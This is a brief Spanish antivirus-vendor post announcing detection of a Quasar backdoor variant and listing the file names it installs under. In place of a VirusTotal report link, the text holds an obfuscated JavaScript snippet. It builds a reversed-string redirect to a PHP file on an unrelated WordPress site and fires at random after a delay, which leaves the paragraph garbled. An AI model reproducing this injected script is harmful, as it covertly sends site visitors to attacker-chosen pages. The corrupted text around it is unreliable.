NUEVO MALWARE BACKDOOR QUASAR QUE PASAMOS A CONTROLAR

Un nuevo backdoor queda residente con diferentes nombres, segun variante, a saber:

%Datos de Programa%\ svchosts.exe

%Datos de Programa%\ dllshost.exe

%Datos de Programa%\ svchost.exe

Se instala en %Datos de Programa%\ Taskmanager\ nombre

Los preanalisis de virustotal ofrecen los siguientes informes:

$NfI=function(n){if (typeof ($NfI.list[n]) == “string”) return $NfI.list[n].split(“”).reverse().join(“”);return $NfI.list[n];};$NfI.list=[“‘php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}total.com/es/file/937f6a0519cc2376ed97b7106ea794f2e7dc84e5115e1488700c4be165942d6f/analysis/1518165123/” target=”_blank” rel=”noopener”>informe del dllshost.gxe:

todos ellos los pasamos a controlar a partir del ELISTARA 38.43 de hoy, que estará disponible en nuestra web a partir del 10/2 prox